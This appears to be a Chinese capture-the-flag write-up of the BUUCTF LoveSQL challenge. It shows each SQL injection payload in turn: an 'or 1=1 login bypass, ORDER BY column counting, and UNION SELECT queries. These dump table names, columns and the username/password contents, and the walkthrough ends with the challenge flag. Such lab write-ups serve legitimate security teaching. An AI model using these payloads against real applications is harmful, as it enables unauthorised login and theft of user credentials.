1、打开靶机,先尝试一下万能密码
1 admin'or 1=1# 2 1234
![【BUUCTF】[极客大挑战 2019]LoveSQL](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
2、尝试爆字段
1 admin'order by 1# 2 admin'order by 2# 3 admin'order by 3# 4 admin'order by 4#
![【BUUCTF】[极客大挑战 2019]LoveSQL](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
3、看回显位置
1 1' union select 1,2,3#
![【BUUCTF】[极客大挑战 2019]LoveSQL](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
回显在二、三位置
4、爆数据库
1 1' union select 1,database(),version()#
![【BUUCTF】[极客大挑战 2019]LoveSQL](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
5、爆表名
1 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
![【BUUCTF】[极客大挑战 2019]LoveSQL](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
数据库表名有:
geekuser
l0ve1ysq1
7、爆列名
1 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#
![【BUUCTF】[极客大挑战 2019]LoveSQL](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
1 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
![【BUUCTF】[极客大挑战 2019]LoveSQL](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
8、读取内容
geekuser表
1 1' union select 1,2,group_concat(id,username,password) from geekuser#
![【BUUCTF】[极客大挑战 2019]LoveSQL](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
l0ve1ysq1表
1 1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
![【BUUCTF】[极客大挑战 2019]LoveSQL](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
flag{428ee3fa-fa62-470b-acd2-30d4495ae79e}
原创文章,作者:奋斗,如若转载,请注明出处:https://blog.ytso.com/tech/bigdata/276306.html
